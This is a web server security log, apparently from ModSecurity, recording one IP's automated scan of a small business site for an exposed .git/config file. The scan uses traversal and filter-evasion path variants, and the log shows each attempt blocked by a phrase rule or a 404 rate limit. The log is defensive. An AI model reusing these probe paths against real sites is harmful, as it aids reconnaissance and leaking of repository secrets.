[Thu Nov 27 03:02:38.466266 2025] [:error] [pid 24814:tid 25079] [client 213.21.239.4:49106] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/config"] [unique_id "aSdOzgPn1NMGCdo6Rsi5dgAAAUQ"]
[Thu Nov 27 03:02:38.467119 2025] [:error] [pid 24826:tid 25133] [client 213.21.239.4:49136] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/static../.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2qQAAARE"]
[Thu Nov 27 03:02:38.467221 2025] [:error] [pid 24826:tid 25122] [client 213.21.239.4:49230] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/;/.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2qgAAAQc"]
[Thu Nov 27 03:02:38.470166 2025] [:error] [pid 24814:tid 25095] [client 213.21.239.4:49140] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSdOzgPn1NMGCdo6Rsi5dwAAAVQ"]
[Thu Nov 27 03:02:38.470166 2025] [:error] [pid 24826:tid 25137] [client 213.21.239.4:49248] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/img../.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2qwAAARU"]
[Thu Nov 27 03:02:38.470964 2025] [:error] [pid 25180:tid 25205] [client 213.21.239.4:49250] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/js../.git/config"] [unique_id "aSdOzr-owhtiwMHXYlzrVAAAAZc"]
[Thu Nov 27 03:02:38.473953 2025] [:error] [pid 24814:tid 25082] [client 213.21.239.4:49096] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au../.git/config"] [unique_id "aSdOzgPn1NMGCdo6Rsi5eAAAAUc"]
[Thu Nov 27 03:02:38.476522 2025] [:error] [pid 24814:tid 25091] [client 213.21.239.4:49112] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/config;"] [unique_id "aSdOzgPn1NMGCdo6Rsi5eQAAAVA"]
[Thu Nov 27 03:02:38.476537 2025] [:error] [pid 24826:tid 25134] [client 213.21.239.4:49124] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git;/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2rAAAARI"]
[Thu Nov 27 03:02:38.480504 2025] [:error] [pid 8184:tid 8240] [client 213.21.239.4:49122] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/config;.."] [unique_id "aSdOzr-M2IHkRYVrcbOo1AAAAEQ"]
[Thu Nov 27 03:02:38.482271 2025] [:error] [pid 25180:tid 25202] [client 213.21.239.4:49208] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.git;/config"] [unique_id "aSdOzr-owhtiwMHXYlzrVQAAAZQ"]
[Thu Nov 27 03:02:38.483868 2025] [:error] [pid 24826:tid 25119] [client 213.21.239.4:49192] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config;.."] [unique_id "aSdOzlEvPXLVl-nh-yL2rQAAAQQ"]
[Thu Nov 27 03:02:38.484319 2025] [:error] [pid 25180:tid 25191] [client 213.21.239.4:49218] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.git;/config;"] [unique_id "aSdOzr-owhtiwMHXYlzrVgAAAYk"]
[Thu Nov 27 03:02:38.484463 2025] [:error] [pid 24814:tid 25080] [client 213.21.239.4:49256] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/message-api/.git/config"] [unique_id "aSdOzgPn1NMGCdo6Rsi5egAAAUU"]
[Thu Nov 27 03:02:38.487035 2025] [:error] [pid 24814:tid 25085] [client 213.21.239.4:49092] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/%0Aconfig"] [unique_id "aSdOzgPn1NMGCdo6Rsi5ewAAAUo"]
[Thu Nov 27 03:02:38.488919 2025] [:error] [pid 25180:tid 25199] [client 213.21.239.4:49134] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/;/.git/config"] [unique_id "aSdOzr-owhtiwMHXYlzrVwAAAZE"]
[Thu Nov 27 03:02:38.490727 2025] [:error] [pid 24826:tid 25124] [client 213.21.239.4:49240] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/git/.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2rgAAAQk"]
[Thu Nov 27 03:02:38.491205 2025] [:error] [pid 24826:tid 25120] [client 213.21.239.4:49178] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config;"] [unique_id "aSdOzlEvPXLVl-nh-yL2rwAAAQU"]
[Thu Nov 27 03:02:38.492149 2025] [:error] [pid 24814:tid 25083] [client 213.21.239.4:49242] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/images../.git/config"] [unique_id "aSdOzgPn1NMGCdo6Rsi5fAAAAUg"]
[Thu Nov 27 03:02:38.494170 2025] [:error] [pid 24826:tid 25115] [client 213.21.239.4:49274] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/m/.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2sAAAAQA"]
[Thu Nov 27 03:02:38.494842 2025] [:error] [pid 25180:tid 25182] [client 213.21.239.4:49270] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/live/.git/config"] [unique_id "aSdOzr-owhtiwMHXYlzrWAAAAYA"]
[Thu Nov 27 03:02:38.495513 2025] [:error] [pid 24826:tid 25130] [client 213.21.239.4:49266] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/lib../.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2sQAAAQ8"]
[Thu Nov 27 03:02:40.489654 2025] [:error] [pid 25262:tid 25345] [client 213.21.239.4:49958] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git;/config"] [unique_id "aSdO0E3p81VU3bYILBVaMgAAAhg"]
[Thu Nov 27 03:02:40.500670 2025] [:error] [pid 25262:tid 25321] [client 213.21.239.4:49964] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.git;/config"] [unique_id "aSdO0E3p81VU3bYILBVaMwAAAgA"]
[Thu Nov 27 03:02:40.516909 2025] [:error] [pid 24826:tid 25139] [client 213.21.239.4:49970] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.git;/config;"] [unique_id "aSdO0FEvPXLVl-nh-yL2uQAAARc"]
[Thu Nov 27 03:02:41.460399 2025] [:error] [pid 25180:tid 25205] [client 213.21.239.4:40366] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/config;.."] [unique_id "aSdO0b-owhtiwMHXYlzragAAAZc"]
[Thu Nov 27 03:02:41.461610 2025] [:error] [pid 24826:tid 25137] [client 213.21.239.4:40308] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au../.git/config"] [unique_id "aSdO0VEvPXLVl-nh-yL2ugAAARU"]
[Thu Nov 27 03:02:41.461916 2025] [:error] [pid 24826:tid 25134] [client 213.21.239.4:40322] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/config"] [unique_id "aSdO0VEvPXLVl-nh-yL2uwAAARI"]
[Thu Nov 27 03:02:41.466527 2025] [:error] [pid 24826:tid 25115] [client 213.21.239.4:40390] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git;/config"] [unique_id "aSdO0VEvPXLVl-nh-yL2vAAAAQA"]
[Thu Nov 27 03:02:41.466661 2025] [:error] [pid 24826:tid 25122] [client 213.21.239.4:40334] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/%0Aconfig"] [unique_id "aSdO0VEvPXLVl-nh-yL2vQAAAQc"]
[Thu Nov 27 03:02:41.468383 2025] [:error] [pid 25180:tid 25190] [client 213.21.239.4:49986] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/qa/.git/config"] [unique_id "aSdO0b-owhtiwMHXYlzrawAAAYg"]
[Thu Nov 27 03:02:41.468662 2025] [:error] [pid 24814:tid 25076] [client 213.21.239.4:40362] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/prod/.git/config"] [unique_id "aSdO0QPn1NMGCdo6Rsi5hAAAAUE"]
[Thu Nov 27 03:02:41.470886 2025] [:error] [pid 25180:tid 25202] [client 213.21.239.4:40358] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/config;"] [unique_id "aSdO0b-owhtiwMHXYlzrbAAAAZQ"]
[Thu Nov 27 03:02:41.472149 2025] [:error] [pid 24826:tid 25124] [client 213.21.239.4:40298] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au../config"] [unique_id "aSdO0VEvPXLVl-nh-yL2vgAAAQk"]
[Thu Nov 27 03:02:41.474201 2025] [:error] [pid 24826:tid 25120] [client 213.21.239.4:49982] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/new/.git/config"] [unique_id "aSdO0VEvPXLVl-nh-yL2vwAAAQU"]
[Thu Nov 27 03:02:41.474861 2025] [:error] [pid 24826:tid 25130] [client 213.21.239.4:40430] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/../.git/config"] [unique_id "aSdO0VEvPXLVl-nh-yL2wAAAAQ8"]
[Thu Nov 27 03:02:41.477823 2025] [:error] [pid 24826:tid 25119] [client 213.21.239.4:40346] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git/config"] [unique_id "aSdO0VEvPXLVl-nh-yL2wQAAAQQ"]
[Thu Nov 27 03:02:41.478060 2025] [:error] [pid 24814:tid 25092] [client 213.21.239.4:49976] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/public/.git/config"] [unique_id "aSdO0QPn1NMGCdo6Rsi5hQAAAVE"]
[Thu Nov 27 03:02:41.480769 2025] [:error] [pid 24814:tid 25094] [client 213.21.239.4:40392] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/../config"] [unique_id "aSdO0QPn1NMGCdo6Rsi5hgAAAVM"]
[Thu Nov 27 03:02:41.481175 2025] [:error] [pid 24826:tid 25128] [client 213.21.239.4:40418] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSdO0VEvPXLVl-nh-yL2wgAAAQ0"]
[Thu Nov 27 03:02:41.484861 2025] [:error] [pid 25180:tid 25199] [client 213.21.239.4:40468] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config;"] [unique_id "aSdO0b-owhtiwMHXYlzrbQAAAZE"]
[Thu Nov 27 03:02:41.485765 2025] [:error] [pid 25180:tid 25182] [client 213.21.239.4:40436] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/..;/.git/config"] [unique_id "aSdO0b-owhtiwMHXYlzrbgAAAYA"]
[Thu Nov 27 03:02:41.485895 2025] [:error] [pid 24814:tid 25098] [client 213.21.239.4:40338] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/..;/.git/config"] [unique_id "aSdO0QPn1NMGCdo6Rsi5hwAAAVc"]
[Thu Nov 27 03:02:41.489062 2025] [:error] [pid 24826:tid 25138] [client 213.21.239.4:40454] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSdO0VEvPXLVl-nh-yL2wwAAARY"]
[Thu Nov 27 03:02:41.490789 2025] [:error] [pid 25180:tid 25191] [client 213.21.239.4:40378] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/static../.git/config"] [unique_id "aSdO0b-owhtiwMHXYlzrbwAAAYk"]
[Thu Nov 27 03:02:41.491491 2025] [:error] [pid 24814:tid 25099] [client 213.21.239.4:40440] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/;/.git/config"] [unique_id "aSdO0QPn1NMGCdo6Rsi5iAAAAVg"]
[Thu Nov 27 03:02:41.495883 2025] [:error] [pid 24814:tid 25087] [client 213.21.239.4:40404] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config"] [unique_id "aSdO0QPn1NMGCdo6Rsi5iQAAAUw"]
[Thu Nov 27 03:02:43.473233 2025] [:error] [pid 54723:tid 54736] [client 213.21.239.4:41112] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.git;/config"] [unique_id "aSdO0w2CEg7QoyDosdIUPwAAAAY"]
[Thu Nov 27 03:02:43.473332 2025] [:error] [pid 24814:tid 25090] [client 213.21.239.4:41128] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/;/.git/config"] [unique_id "aSdO0wPn1NMGCdo6Rsi5mQAAAU8"]
[Thu Nov 27 03:02:43.473601 2025] [:error] [pid 8184:tid 8258] [client 213.21.239.4:41120] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config;.."] [unique_id "aSdO07-M2IHkRYVrcbOo6gAAAFQ"]
[Thu Nov 27 03:02:43.497224 2025] [:error] [pid 25262:tid 25343] [client 213.21.239.4:41154] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/config"] [unique_id "aSdO003p81VU3bYILBVaTwAAAhY"]
[Thu Nov 27 03:02:43.505918 2025] [:error] [pid 25180:tid 25194] [client 213.21.239.4:41142] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/.git;/config"] [unique_id "aSdO07-owhtiwMHXYlzrdAAAAYw"]
[Thu Nov 27 03:02:43.509681 2025] [:error] [pid 24826:tid 25139] [client 213.21.239.4:41166] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au../config"] [unique_id "aSdO01EvPXLVl-nh-yL2zwAAARc"]
[Thu Nov 27 03:02:43.538566 2025] [:error] [pid 24826:tid 25135] [client 213.21.239.4:41184] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config"] [unique_id "aSdO01EvPXLVl-nh-yL20AAAARM"]
[Thu Nov 27 03:02:43.539344 2025] [:error] [pid 25180:tid 25184] [client 213.21.239.4:41182] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/../config"] [unique_id "aSdO07-owhtiwMHXYlzrdQAAAYI"]
